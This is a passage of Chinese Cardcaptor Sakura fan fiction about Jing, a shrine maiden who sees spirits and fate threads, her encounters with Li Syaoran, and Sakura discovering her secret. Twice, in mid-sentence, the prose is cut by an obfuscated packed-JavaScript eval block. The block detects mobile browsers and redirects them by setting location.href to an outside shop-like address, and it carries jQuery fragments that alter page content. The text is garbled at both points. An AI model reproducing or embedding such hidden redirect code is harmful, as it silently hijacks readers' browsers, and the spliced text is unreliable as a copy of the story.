小樱想了很久。窗外雨停了,云层裂开一道缝,阳光从缝隙里漏下来,落在窗台上。小樱看着那道阳光,表情很认真,像是要从光里面找出一个精确的形容词。 “好像我穿了一件只有他能看见的衣服。” 镜的筷子又停了。这一次停在半空中,像是被什么东西轻轻拉住了。 “那你呢,”她说,“你是不是也在看他。” 小樱的脸一下子红了——不是害羞的那种红,是被人戳穿了却不打算否认的那种。她把便当盒往怀里缩了缩,声音压到极低:“才没有。” 镜没有反驳 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17536078|203812||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。她只是低下头继续吃自己的饭,嘴角弯起来一小角。 下午的课,小樱和李小狼继续互相偷看。具体频率大概是小樱每五分钟看李小狼一次,每次看三秒;李小狼每三分钟看小樱一次,每次持续的时间从一秒到十秒不等。这场无声的互看循环大概在第五节课时达到了顶峰——两个人同时侧过头,正好对视上讲台上老师正在讲解什么。小樱的反应是把头迅速转回去,撞到了自己的笔袋,铅笔盒啪嗒摔在地上。李小狼的反应则是把视线收到课本上,但盯着一页没翻过去。镜在旁边冷静地嚼完她带来的最后一小块饼干。 ——这两人完全可以组一个双人转。 放学铃响了。镜收拾好书包正准备走,却在走廊拐角处听见了一个声音。 “把库洛牌交出来。” 镜站住了。 走廊的角落里,李小狼堵住了小樱。他的背挺得笔直,双臂交叉在胸前,气势不是虚张声势,是货真价实的自信——一个从小训练、从香港专程赶来、知道自己有资格接管这堆牌的人才会有的自信。 “你身上有库洛牌的气。我是库洛·里德的远亲,从香港来的。库洛牌不该由你这样的外行人来收集——交给我。” “不行!”小樱攥紧拳头,声音有一点发抖,但眼睛没躲,“书是我打开的,牌是我放出去的。它们应该由我来收回来。” 镜靠在转角的墙上,没有走过去。 她看见那两根红线正在剧烈地晃动。不是要断了——是两端都在往对方的方向冲,但中间有某种看不见的力量在把它们弹开。像两块同极的磁铁,拼命想靠近,却还在被自己排斥在外。 不是现在,镜想。不过这种距离保持不了太久。 走出校门时,雨已经停了。阳光从云层边上漏出来,把路面未干的水坑映成一片一片的碎金。小樱和知世走在前面,小狼隔了半步跟在她们旁边,距离不远不近,介于“我和你们同路”与“我只是恰巧走同一个方向”之间。 镜远远看着他们三个人。知世侧过头说了一句什么,小樱笑起来,小狼把头别向另一边。三个人都穿着白色的校服,在雨后的阳光里看起来像是刚刚洗过还没有干透的纸片。 胧从鞋柜上跳下来,无声无息地落在镜脚边。 “那个转学生身上的灵力波动很强。不比小樱弱。” “看出来了。” “他和小樱之间好像有东西。” “嗯。” “是什么。” 镜把伞收起来,往回家的方向走。 “现在还不知道。”她说,“但它还没开始。” 胧的耳朵转了转:“你怎么知道还没开始。” 镜没有回答。她只是想起外婆说过的话—— 红线不需要巫女去结。它会自己长。 回到家,她把书包放下,去厨房倒了杯水。窗外那棵银杏树在雨后的微风里轻轻晃着叶子,树下的老奶奶今天不在——大概已经被她送走了,也大概只是转移到了另一个角落。镜站在窗前,看着湿漉漉的院子,想起今天看见的那两根还没拧在一起的红线。 那是她第一次清楚地看到某种超过她能预测范围的浓度。比库洛牌深,比库洛牌久。她当巫女以来处理过别人的旧缘残迹,送走过还不肯化为新缘的死结,但一根活的、正在生长中的、即将改变两个人的命运的红线,是第一次被完整打量。 她不知道李小狼以后会怎样。但她知道,从今天起,这个从香港来的转学生会站在小樱旁边,和她一起走进所有还没发生的事情里。 而那根红线,会在她没有看到的时候,悄悄长好。 4. 雷与影 雷牌被收服的第二天,友枝町放了晴。 镜早上路过操场时,跑道上的焦痕还在——几道黑色的裂纹从跑道中段一直延伸到沙坑边缘,像是有人用炭笔在地上画了几条歪歪扭扭的蛇。几个早到的男生蹲在旁边研究,争论这到底是雷劈的还是施工队挖的。镜没有加入讨论,只是绕到老树精那边,蹲下来把手贴在树干上,确认根部的灵力循环没有被昨天的雷击打乱。树精的叶子还有点卷,但脉搏稳定,再安养几天就能恢复。 胧从围墙上走过来了。不是跳下来,是走。四只爪子在狭窄的围墙顶上踩出一条笔直的线,尾巴高高翘起,尾尖微微弯成一个慵懒的弧度。它在围墙转角处停下来,前爪往前伸,后腿蹬直,把脊背拱成一个饱满的弧形——那是一个标准的、从头到尾每一节脊椎都舒展开的猫式伸懒腰。然后它抖了抖耳朵,继续沿着围墙往前走,步伐不紧不慢,仿佛脚下的围墙是专门为它铺设的御道,而清晨的阳光是刚好在此时打下来的聚光灯。 “你昨天在走廊上站了整场。”胧在围墙上居高临下地看着她,金色的瞳孔在晨光里眯成两条缝。 “收牌不是我的事。” “但你护了整栋楼的灵。” “那是我的事。” 胧甩了甩尾巴,从围墙上跳下来,无声无息地落在她脚边。“老树精说谢谢你。它说昨天雷劈下来的时候,树根底下那层灵力总算护住了它最细的那根须根。它说你再帮它安养三天就能自己喘气了。” “它上次也是这么说的,结果安养了五天。” “那是因为水牌第二天又来了一场。这次应该不会再来了。” 镜站起来,拍拍手上的树皮屑,往教室走去。 上午的课很平静。库洛牌没有出现,雷兽没有再来,李小狼坐在小樱后排,整整四节课没有堵她——不是因为放弃了,是因为他在观察。镜能从他的眼神里看出来:他在观察小樱怎么听课、怎么记笔记、怎么在课间和知世聊天。小樱今天忘带了数学课要用的量角器,在书包里翻了半天,最后从笔袋底层摸出来一把直尺凑合着用。李小狼一直盯着她的后脑勺,手里握着自带的量角器在桌面来回拨弄。他那个姿势摆了很久,终于在老师转身讲下一题时把量角器放到了小樱桌角上,动作快得像是丢出去的,然后迅速把脸转向窗外,耳朵轮廓微微发红。小樱低头看了看量角器,又回头看了他一眼,小声说了句“谢谢”。他嗯了一声,继续盯着窗外。 午休时镜在天台上吃便当。她今天带的是煎三文鱼和玉子烧,胧蹲在旁边蹭了半条烤鱼尾巴。李小狼从楼梯口走上来,手里拿着罗盘。罗盘的指针正在微微抖动——不是库洛牌的反应,是友枝町地下灵脉的日常波动。 “你在看什么。”镜问。 “附近的魔力流向。”李小狼在天台边缘站定,背挺得很直,罗盘平托在掌心,“昨天雷牌出现之前,地脉偏移的角度是偏东南方向。今天恢复了。是你做的?” “我只是把被震歪的缘线扶正。” “缘线。”李小狼重复了一遍这个词,像是在确认它不是自己日语词汇库里的漏网之鱼。然后他把罗盘收起来,“你昨天在走廊上待了很久。你手上的灵力不是魔力——不是库洛·里德流派的,也不来自香港。” “嗯。” “那你是什么。” 镜坐在矮墙上咬了一口饭团,想了片刻。“不起眼的同班同学。” 李小狼没有像昨天那样皱眉。他只是看着她——不是那种审问式的审视,是同一个棋盘上另一个棋手在观察她的棋路。“你的灵力很稳。比小樱稳。但她比你敢冲。”他说完转身往楼梯口走去。镜嚼着饭团,想了一下刚才那句话——不是夸她,也不是损她,是客观评价。而且在“但”之前,大概是认可的意思。 下午第二节课后,小樱被老师叫去办公室送作业本。她刚走出教室门,李小狼就站起来跟了出去。镜放下手里的课本,也站起来。她在走廊拐角处停下来——这个位置刚好能听见走廊尽头的对话,又不会被立刻发现。 “我现在还不想和你对决。”走廊尽头传来李小狼的声音。“你没有能力控制库洛牌。我不会等到你出事才说。” “我不是要和你对决!”小樱的声音像是急得攥紧了拳头,“我只是说库洛牌应该由我来收集。书是我打开的——我不去,谁去。” 镜靠在墙上,看着走廊窗外的天。乌云正在聚拢,低压压的,像是马上要下雨。空气中有一丝很淡的魔力味道,是李小狼身上那道残余魔力的味道。她等他们都进了教室,才走到刚才两个人站过的地方,低头检查了一下地板——有一层极薄的灰白色余烬,残余魔力在空气中氧化后留在地表的微小痕迹。还好,没有扩散到墙根。李小狼在出门前已经自己压住了一遍。 下午,体育课。镜膝盖上有昨天巡视结界时磕到的淤青,体育老师让她在操场边休息。她坐在长凳上,手里拿着笔记本,把今天的灵脉巡查结果一条一条记下来。 “膝盖怎么回事。” 桃矢不知道什么时候走到她旁边,手里拿着两盒牛奶——一盒草莓味的,一盒原味的。他把草莓味那盒递给她,自己插上原味那盒的吸管,在她旁边坐下。 “摔的。”镜接过牛奶。 “小樱今天被一个转学生堵了两次。” “嗯。” “你看见了?” “走廊一次,操场边上可能还有一次。”镜想了想,又补一句,“大概还没堵完。” 桃矢看着操场对面。小樱正在排球场认真垫球,李小狼在旁边和另一个男生打羽毛球。他每打完一拍,就在间歇时转头向排球场看一眼。桃矢吸了一口牛奶,没说话。 镜侧过头看了他一眼。她就着吸管吸了一口草莓牛奶,然后在心里默默吐槽了一句:哦吼,妹控。您自己每天放学来接妹妹、周末给妹妹做便当、把妹妹的便当盒装得比自己的还满,您有什么资格审视香港来的转学生——不是,您刚才那口牛奶顿了半秒是因为看到那小子又在看小樱吧。 当然,这些话镜一个字都没有说出口。她只是安安静静地喝着牛奶,和桃矢并排坐着,表情和平时一样平淡。 桃矢把喝空的牛奶盒放在膝盖上压扁,站起来:“我去练单杠。你坐着。” 镜没有跟着过去。她握着吸管,把最后一口草莓牛奶喝完。不是来送牛奶的,是来看小樱的。不过他每次来看小樱时都会顺便多带一盒给她,从四年级到现在,换了至少四个品牌的草莓牛奶,没有一盒是重复的口味。他大概觉得她需要多喝甜的,毕竟整天跟鬼怪打交道的女孩子容易低血糖。 下午最后半节课的自由活动时间,镜绕到教学楼后面。这里有一小片围墙围起来的空地,平时没什么人来,只有一只上了年纪的树精把根埋在墙根底下。昨天被雷牌震过之后,老树精今天仍在抖,说雷牌的气息将它深扎的根震松了一处,让她帮忙找到那片最末端的细须,搭回去就行。镜花了半节课时间轻轻把树精那卷细须推回原位,树精没有再抖,但它的叶子还是微微卷曲,需要再安养几天。 她站起来,拍了拍手上的泥土,看到墙角那边李小狼正站在一排回收箱旁边整理书包,动作很慢,像是在等什么。 镜走过去:“迷路了?” 李小狼抬起头,认出是她。“没有。这边是杂物区,平时没什么人。”他的语气不像之前教室里那种回避式的简洁,更像是在确认——她既然出现在这里,说明这一带确实值得注意。 “你来找什么?” “我感觉到附近有魔力的痕迹。” “你从香港来就是为了这个。” 李小狼转过头看她。那双偏浅棕色的眼睛里带着警惕——不是敌意,是那种被训练过的、条件反射式的审视。镜没有躲开他的目光,只是站在那里,表情很淡。 “你知道多少。” “不多。” “不多是多少。” “比你少。不过雷牌昨天把你的灵力压到极限了。你在小樱面前收不住,魔力残余会自己往外渗——你自己应该感觉到了。” 李小狼的手在书包拉链上停了一下。他没有否认。沉默了片刻之后,他把书包拉链拉好,站起来说:“我爷爷说 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17536079|203812||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 库洛·里德流派的分支曾和日本的一些阴阳师有过往来。你知道你身上有灵力吗?” 镜把刚才从回收箱旁边捡起的小纸盒——空的,没有任何灵力残余——丢进回收箱,拍了拍手上的灰。“知道。我从小就有灵力,来自我外婆那边。她是神社的神女,安倍晴明直系末裔。”她抬起头看着李小狼,“你是库洛·里德的后人,应该知道灵力系统和魔力系统是有区分的。我的能力不是用来收集库洛牌的——但可以帮牌善后。” 李小狼看着她。不是审视,是重新校准自己前几版评估报告里关于她的那一页。原来她不属于魔力体系,她是站在另一个系统里的人在跟他说话。两个系统的后人站在这片杂物区的回收箱旁边,像两个偶然在收棋前碰了一下棋盒的对手,暂时不用分出胜负。“那我收回之前的话——你不完全是外人。库洛·里德在日本活动时,和当地灵力者有过合作的记录。大道寺镜,也许以后可以用到你的能力。” “那就以后再说。”镜说完,转身出了围墙。 那天下午放学后,镜处理完了今天灵脉巡查的最后一项:操场角落一棵被雨淋得发霉的木桩,身上附了层薄薄的阴气。她蹲在木桩旁边把阴气导走的时候,听到操场那边传来声音。不是灵的声音,是活人的。 “库洛牌必须由我来收集。不管你同不同意,我会证明给你看。” 镜抬头。小樱站在操场边上,两只手紧紧攥着书包带子,眼眶有一点红,但声音比上午更稳了。李小狼站在她对面,背挺得很直,手里拿着罗盘。他听完了小樱的话,没有立刻回答。然后他把罗盘收起来,说:“在下次库洛牌出现前,先不干涉你。但如果你控制不住,我不会再给第二次机会。” 两个人面对面站着,夕阳从他们背后照过来,把他们的影子拉得很长。夕阳把他们身后的影子投在跑道上,拉得比平时更长。镜注意到李小狼的影子边缘有一瞬间轻轻晃动了一下——不是他本人在动,是影子自己在颤。常人的视线不会留意这种细节,但她能看见。那不是普通的日光投影,是影牌残余的魔力还在他身上附着,被黄昏的光线轻微拉扯。影牌的魔力不会伤人,但会让携带者的影子偶尔不受控制地偏移,像是在跟主人闹别扭。 镜把最后一点阴气从木桩上导走,站起来拍了拍膝盖上的泥,拎着书包从操场边上绕过去。 “好了?”胧从围墙边的矮枝上跳下来,落在她脚边。它在树枝上趴了一整个下午,尾巴垂下来扫着树叶,姿态懒散得仿佛刚才那场对决只是两只松鼠在争松果。 “好了。” “那个转学生身上的魔力还有残余。影牌的余韵比雷牌持久,大概是因为他昨天跟小樱同时出过手,影牌把他的影子当作第二个宿主锚了一阵。” “我知道。过几天自己会散。” 胧的尾巴弯了一下,没有再问。镜走到分岔路口时,看见小樱正站在路口,对着身后的李小狼说“明天见”。李小狼没有回话,只是站在路口,手里攥着罗盘的一角。小樱说完就跑远了,他站在原地低头看了看自己的影子——那团影子正在他的皮鞋旁边微微晃动,明明他本人站得笔直,影子却像被风吹过的水面一样泛着细小的涟漪。他皱起眉,用罗盘在影子边缘压了一下,影子被魔力强行按回原位,不动了。然后他转过身,往相反的方向走了。 镜低头翻了翻笔记本,在今天的日期旁边加了一行:李小狼收束了残余魔力。影牌残留仍附着于他的影子,预计两天内自行消散。红线恢复正向生长,灰黑阴翳已消退过半。她想了想,又补了一行:外套还放在椅背上没有还。 写完这行字,她把笔记本合上,看了看远处的夕阳。明天还会有新的库洛牌出现,还会有新的灵体需要安抚,还会有新的缘线在她眼前长出一点点。胧从她脚边走到前面,尾巴高高翘起,沿着回家的路踩着围墙边缘往前走——脊背拱起一个慵懒的弧度,又伸了一个懒腰。 镜跟在它后面,隔着半肩距离。夕阳把她们一人一猫的影子投在围墙上,拉得很长。她的影子纹丝不动,轨迹清晰,和下午那个被影牌残留纠缠的转学生完全不一样。 5. 撞破 事情发生在五月第二个星期三的傍晚。 不是深夜,不是凌晨,不是任何适合魔法少女出没的非常时段。就是普通的放学后——镜在旧教学楼后面蹲了四十分钟,把一只被影牌从墙缝里震出来的小地缚灵送走。那只地缚灵胆子小得连银杏树下的老奶奶都怕,缩在墙缝最深处,镜花了比平时多一倍的时间才让它愿意探出头来。她把最后一点安抚的灵力渡过去,感觉到它在她指尖轻轻蹭了一下,然后消散在暮色里。她站起来,膝盖上印了两块灰,校服裙摆沾了一圈干草屑,正拎着书包往校门口走。胧跟在她脚边,尾巴尖上沾了一片银杏叶,大概是刚才路过树下时蹭到的。 然后她听见一声巨响。 不是雷鸣,不是爆炸,是金属被某种力量强行扭曲时发出的沉闷呻吟。镜转过头。校门口的铁栅栏被一团黑压压的东西整个掀了起来,路灯的光像被墨水吞掉一样灭了一瞬。操场上,木之本樱攥着魔杖,正被一大片流动的影子逼得往后退。那影子不是普通的黑暗——它有边缘,有重量,有实体般的流动感,像把整个黄昏的光都吸进去又吐出来,每一次翻卷都带着沉闷的低啸声。它从操场东南角一路蔓延过来,吞掉了跑道上的白线、单杠区的沙坑、银杏树下那片刚扫干净的落叶堆。 小樱脚边散落着被掀翻的花坛碎片。她刚换上的室内鞋不知道什么时候又跑丢了一只,袜子踩在跑道上一脚深一脚浅,脚底灰了一片。她的校服裙摆被影风掀得翻起来一角,睡裤的裤腿从裙摆下面露出一截——她今天大概又是收完牌直接从家里冲出来的,连校服都没来得及换。那截睡裤是浅粉色的,印着小兔子图案,和操场上正在吞噬一切的黑色影子形成了某种让人不知道该紧张还是该笑的对比。 大道寺知世站在楼道入口,举着摄像机,画面稳稳地追着小樱。她的背挺得很直,手指按在录制键上没有一丝抖动,呼吸平稳得像在拍一场事先排练好的舞台剧。她的表情很认真,不是害怕,是专注——那是只有在拍自己最想拍的东西时才会有的表情。 “小樱——用风牌!” 镜看着小樱把风牌激活。魔杖顶端迸出一圈淡绿色的光圈,气流从杖尖涌出来,在她身前旋转成一道螺旋形的风墙。那风不是自然的风——它有自己的方向,有自己的意识,在空气中划出十几道透明的轨迹,每一条都准确地撞向影子的边缘。影子被撕开一道裂口,但没有散。它翻卷过来,边缘像水一样漫开,把小樱整个人吞进去了一半。 镜放下书包。 不是要帮忙收牌。收牌不是她的事。她只是看见影牌扩散的瞬间,操场边缘那棵银杏树下的老妇人灵体被掀翻在地。老妇人整个魂体从树干背后被震出来,在空中翻滚了好几圈,然后重重摔在跑道边缘的草地上。她大概已经在这棵树下坐了十几年,从来没有离开过自己的位置超过一步,从来没有被任何力量这么粗暴地拽出来过。镜听见她的声音——不是呼救,不是哭泣,是条件反射般的困惑,像一个还没睡醒的人被突然拽进一间陌生的房间,连灯都没来得及打开,就被人推了一把。 老树精的根部被影刃切断了一条细须。那根须根很小,大概只有手指粗细,但它连着树精最深的那条根系——是它用来感知地脉波动的主根之一。断口处渗出极淡的浅绿色光芒,不是血液,是树精储存了多年的灵力正在从创口里缓慢流失。树精在墙根下缩紧了所有的枝条,把剩余的根深深扎进土里,像一个人咬紧了牙关。 天台上的男孩从栅栏边被震飞到楼梯口。他整个灵体像被一只看不见的手捏住后颈扔了出去,在空中划了一道极短的抛物线,然后撞在楼梯间那扇生了锈的铁门上。铁门发出一声刺耳的嘎吱声,把他弹回来落在楼梯口,他趴在地上蜷缩成小小一团,膝盖上的创可贴——那块镜在四年级春天替他扶正的创可贴——边缘已经被撕开了一半。 镜走到操场边缘,蹲下来,把右手按在跑道上。 她闭上眼。灵力从掌心涌出去,不是温和的、试探性的那种,是她在八原后山跟外婆学了六年练出来的精准输出。她把灵力按方向分成三股,像同时拉开三根看不见的弦。一股精准地裹住银杏树下刚刚被掀翻的老妇人,先把她翻过来的魂体轻轻托正——老妇人在空中转了半圈,恢复到正常的坐姿,然后被灵力推着慢慢移向树干背后,一直推到银杏树最粗的那根侧根旁边才停住。她离开之后树干上还残留着一道弧形的印痕,是镜四年级春天第一次帮她搭缘线时无意间留下的灵力缓冲层。老妇人的手指本能地攥住那道印痕,像抓住了床单的一角。 第二股灵力沿着地脉往下走,找到老树精那根断须的创口,绕着创面织成一层极薄的灵力膜。这层膜不能立刻把断须接回去——树精的根需要它自己愈合,外力强行黏合只会让断口表面愈合而内部还在漏。镜做的只是暂时止血——不对,是止灵气外泄。那层灵力膜会在接下来几天里随着树精自有的愈合过程慢慢被吸收,一点也不会浪费。 第三股灵力穿过操场跑道、穿过沙坑、穿过铁丝网下那道碎石坡,找到旧楼楼梯口那个被震飞的男孩。他在落地前零点几秒被镜的灵力轻轻托了一下——不是硬接,是缓冲,是让一个被用力丢出去的人落在柔软的棉花上而不是硬邦邦的地板上。男孩趴在楼梯口,手指慢慢蜷起来,膝盖上的创可贴没有完全脱开。他的头从臂弯里抬起来,茫然地看着楼梯间的天花板,不知道刚才是什么东西接住了他。 做完这些,镜睁开眼。 灵力消耗比她预计的多了一些,大概是影牌的魔力太浓,把操场周围所有灵异节点的抗性都拉高了。她的指尖微微发麻,掌心有点凉——那是灵力输出过快时身体的本能反应,需要几分钟自己缓过来。她把手从跑道上收回来,在裙摆上蹭掉掌心的灰,看到影牌已经被小樱重新收进卡牌形态。那张卡牌还微微发着烫,在小樱指间轻轻振动。小樱捏着它,抬起头,正好看见镜从操场边站起来,拍掉膝盖上的灰。 两个人对视了三秒。 小樱的表情从茫然转成惊讶,又从惊讶转成一种做坏事被当场抓住的心虚。她下意识地把魔杖往身后藏——动作和上次在走廊藏点心盒一模一样,完全忘记这把魔杖的长度比书包还长。而她另一只手正攥着睡裤的裤腰,那条睡裤是她昨天晚上收完雪牌回来太累直接倒在床上时穿的,今天被影牌追出门时忘了换。裤腿一只卷到膝盖上面,另一只拖在地上,沾满了操场上的灰。她整个人看起来像是被台风从被窝里刮出来的。 “镜——你怎么在这里——你不是放学就回家了吗——你刚才是不是看到了什么——那个——那个我可以解释——” 她的话被知世的声音轻轻打断。 知世把摄像机的镜盖扣上,从楼道那边走过来。她的步伐不紧不慢,手里端着的摄像机还亮着录制灯。她在镜旁边站定,先看了看镜膝盖上那两块还没拍干净的灰,又看了看镜校服裙摆上沾的干草屑,然后用一种温和得像在说今天的便当里放了什么配菜的语气说道:“小樱,镜一直都看得见。” “……诶?” 小樱愣住了。 她的眼睛在镜和知世之间来回弹跳,嘴巴微微张开,大脑显然在处理一条很长的信息链:镜刚才在这里→镜看到影牌→镜没有害怕→知世说镜一直都看得见→镜甚至帮她捡了鞋。这条信息链太长了,长到她忘记了要继续把魔杖往身后藏。那根鸟头杖从她背后滑出来,杖尖抵着地面,在跑道上轻轻弹了一下。 镜没有马上说话。她走过来,弯下腰,先把小樱掉在跑道上的那只室内鞋捡起来,搁在她脚边。又看了看她那条拖在地上的睡裤裤腿,顺手帮她把裤脚卷好,免得再绊一跤。然后直起腰,语气平淡得像在说今天食堂的菜单。 “先穿鞋。” 小樱低头看了看自己光着的脚,又抬头看了看镜,再低头看看脚,再抬头。她穿好鞋,站起来,嘴巴张开又合上,合上又张开,最后只憋出一句:“那你——你一开始就知道?” 镜看着她。她的表情变化被镜完整看在眼里——不是被欺骗的愤怒,不是一个精心守护的秘密被窥破时的慌张,而是某种更单纯的东西。像一只以为自己在独自守夜的猫头鹰,忽然发现树上还有另一只。 “四年级春天就发现了。” 小樱的眼睛瞪得更大了。“四年级春天——那不是我才刚开始收集库洛牌没几天——” “嗯。你第一次收服风牌那晚,整个友枝町的灵脉都在震。你自己在追风牌的时候大概没注意到,那道气流把银杏树上的叶子吹掉了大半,树下的老奶奶差点从树根上被掀飞出去。我从那天晚上开始善后。” 小樱张着嘴,脸上写满了“你竟然比我还早”的震惊。然后她想起一个问题,眉头微微皱起来——不是生气,是那种在努力回忆自己有没有在某些关键时刻穿帮的认真表情。她的手指还攥着魔杖的握柄位置,指节有点发白,声音比刚才轻了半拍:“可是——你怎么知道灵脉震动是因为库洛牌?你那时候又没见过我收牌。而且我从来不在你面前提牌的事——我非常小心——我从来没在教室里说过库洛——” “你说过。” 小樱的表情凝固了。 “不止一次。”镜的语气很平淡。她的手还插在口袋里,校服外套的袖子刚才蹲下时蹭了一点灰,她没去拍。她看着小樱的表情从凝固变成一种更复杂的颜色——介于“完了”和“原来我这么不会保密”之间,和她在后排每次听到李小狼把笔盒从桌角推到小樱够得着的位置时默默咽下“你是不是想帮她”时的表情如出一辙。那种表情是给自己的——不是给别人看的。她的嘴唇微微颤了一下,似乎想反驳,又咽了回去。 “上周二你在教室问知世‘昨天收风牌的时候我一紧张念错咒语,有没有什么办法能提前背一遍’。你说这句话时教室里只有你和知世两个人,但我的座位在三排后面靠窗的位置,当时窗户关着,你的声音被窗玻璃反射过来,我听得很清楚。前天你在走廊跟小可争辩‘才不是每张牌都那么难收’。你说这句话时刚好从我身边跑过去——你在追一张藏在树冠里的库洛牌,小可在你包里喊‘她说得明明没错’。你还说‘它把我引到这里’、‘它好难收’、‘它跑得好快’。你讲故事的时候会在提到库洛牌时下意识停顿半拍,然后用‘它’代替——普通小学生说话不是这样的。另外你每次收完牌的第二天精神都特别差,上课打瞌睡的次数比你同桌多好几倍。” 小樱的表情又从“完了”变成了“原来我这么不会保密”和“原来镜已经帮我瞒了这么久”的混合体。她的耳朵尖有点红——不是被人拆穿秘密的羞耻,是一个还不到十岁的孩子第一次意识到,自己以为藏得滴水不漏的那些话,其实早就被另一个人安安静静地听进了心里。她的手指从魔杖握柄上松开了,指尖在跑道上轻轻抠了一下——那里有一小块被影牌烧焦的跑道橡胶,可能是刚才战斗中她踩过的某个地方。 镜看着她那张快要皱成一团的脸,把手从口袋里拿出来,轻轻拍了拍她的头顶。她比小樱高半个头,拍她头顶时袖口刚好擦过小樱额前那几根被汗水粘住的碎发。 “不是你的问题。你才不到十岁。这个年纪的小孩子本来就不会对这种事加任何掩饰。而且——”她顿了顿,把手收回来,重新插回校服口袋,“你以为能保密,只是因为身边的人愿意假装没听见。” 小樱愣了一下,然后目光不由自主地转向知世。知世每次在她聊库洛牌的时候都微笑着听,从不打断。她以前以为知世只当是听故事,现在才发觉知世分明什么都明白。知世站在旁边,怀里抱着刚关掉的摄像机,对上小樱的目光也没有多说什么,只是微笑着朝她轻轻点了点头。 小樱沉默了好一会儿,似乎在努力回想自己到底在教室里说过多少次露馅的话。她的手指攥着那只刚穿好的室内鞋在地上蹭了蹭,然后把头抬起来。眼睛里的心虚还没褪干净,嘴角却已经忍不住弯起来——不是那种阳光充满电的笑容,是某种不确定的、想确认自己是不是真的被接纳了的试探 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小樱的脸一下子红了。不是被人戳穿秘密时那种尴尬的红,是被夸了之后不知道该怎么接话、但又舍不得反驳的那种红。她张了张嘴,想说点什么,最后只是嘿嘿笑了一声,低头把那只刚穿好的室内鞋在地上蹭了蹭。然后她忽然抬起头,想起什么似的——“那你怎么不早说——” “你没问。” “这种事谁会主动问啊!谁会问‘你能不能看到我在半夜收服妖魔’——正常人都不会问吧!” “所以我不会说。” 小樱被这句话噎住了。她的嘴鼓起来,眉毛皱成一团。镜以为她要继续辩论——结果她向前走了两步,把她整个人都紧紧抱住。不是那种象征性的、只搂一下肩膀就松开的拥抱,是整个人贴上来,把脸埋进她肩窝里,手指攥着她校服后襟的那种。镜能感觉到小樱的体温比她高一点,大概是刚才收牌时消耗了太多魔力。小樱的肩膀把她的衣领都蹭乱了,那条还没系好的睡裤裤腿又往下滑了一截。 “那你也太能憋了,”小樱的声音闷闷的,从镜的肩窝里传出来,“你一个人做善后做了那么久……累不累啊。” 镜的手停在半空中,悬了好几秒,不知道该放哪。她低头看着小樱的发旋——头发上还粘着半片银杏叶,是刚才被影牌掀翻时从树梢上刮下来的。那片叶子很小,边缘被影风切得不太规则,但颜色很绿,是刚长出来没多久的新叶。 她慢慢把手放下来,回落在小樱背上。不是拍小孩那种哄睡式的节奏,只是轻轻搭在那里,手指在她睡裤后襟那排晒过的痕迹上轻抚。她感觉到小樱的呼吸从急促慢慢变得平稳,肩膀也不再那么绷着了。小樱的眼眶没有红——没有哭,只是把脸埋在那儿。她把下巴搁在镜肩窝上闷了很长一段时间,然后轻轻点了点头。 胧从银杏树后悠然踱出来。它的步伐不紧不慢,尾巴高高翘起,尾尖弯成一个慵懒的弧度,在夕阳底下像一根会走路的毛笔。它走到操场边缘那盆八原矮松旁边停下来,低头看了看盆栽边缘被影刀切出的一道极细的裂痕,用尾巴轻轻拂过叶片上的灰尘,然后抬起头,对着镜的方向投去一个意味深长的眼神,表示“不想被看见,我也被你看见了呗”地甩了甩尾巴。 小樱从镜的肩窝里抬起头,正好对上胧那双金色的瞳孔。她的眼睛一下子亮了起来——不是刚才那种试探性的、不确定的亮,是被某件完全在预料之外的东西击中时的亮,整个天台上只剩下她和这只猫在对视。 “会说话。”镜及时拦住她,在她开口之前堵住了所有可能的问题。“就问一句。你刚才吃的零食是章鱼烧口味。” 小樱张着嘴,大脑运转速度肉眼可见地超了载。她看看胧,又看看镜,再看看胧——那只猫正在用尾巴缠自己的右前爪,嘴里哼着一首和钢琴少女巴赫完全不同调的曲子。然后她点点头,显然已经放弃了把所有事情一次性弄明白的打算。她把最后一截卷起的裤腿放下,挪到胧面前蹲下来,小心翼翼地伸出手让它嗅。 镜从那堆花坛碎片旁边站起来,把脚边剩余的灵痕用脚尖抹平。知世走过来,站在她旁边,两个人一起看着小樱蹲在胧面前。胧低头闻了闻小樱的手指——那上面还残留着影牌的魔力味道,混着操场上的土和一点点汗味。它用鼻尖碰了碰她的指节,表示“行了我认得你”,然后把下巴搁在小樱掌心里,尾巴绕过来盖住前爪。 “你上周烤的饼干全分给她们几个小灵了吧。”知世说。 “嗯。” “它们有说什么吗。” “弹钢琴那只问焦不焦。我说不焦,她就放心走了。” 知世微微一笑,没有追问。西边的天空正在从橘红色往深紫色过渡,银杏树的影子拉得很长,一直拖到操场尽头。她把摄像机的录制灯灭掉,先将镜头对准银杏树下——小樱正半蹲在胧面前,胧用尾巴缠住她袖口不肯放她走——然后悄悄移回来,把镜也框进同一个镜头里。 镜站在花坛碎片旁边,正低头拍校服裙摆上沾着的干草屑。她的头发还扎成低马尾,额前碎发被刚才那阵影风带得轻轻飘起来。她没有在笑,但神情平和,腰上系结界绳的地方被夕阳照成一片椭圆的淡金色光斑。知世从摄像机后面探出头来按下快门。 那天之后,镜不再需要假装放学后直接回家。小樱收牌时,镜会在旁边做自己的事——不是帮忙收牌,收牌是小樱的战场。她只是在操场边缘蹲下来,把被魔力震歪的缘线扶正,把被吓到的地缚灵轻声安抚,把结界破口补好。偶尔魔杖星屑飘到她头上,她会用手背拂下来,顺手塞进笔记本里当标本。小樱说收齐那天要把那些星屑排成队还给牌,被镜说“你先把这一批收完再说”。 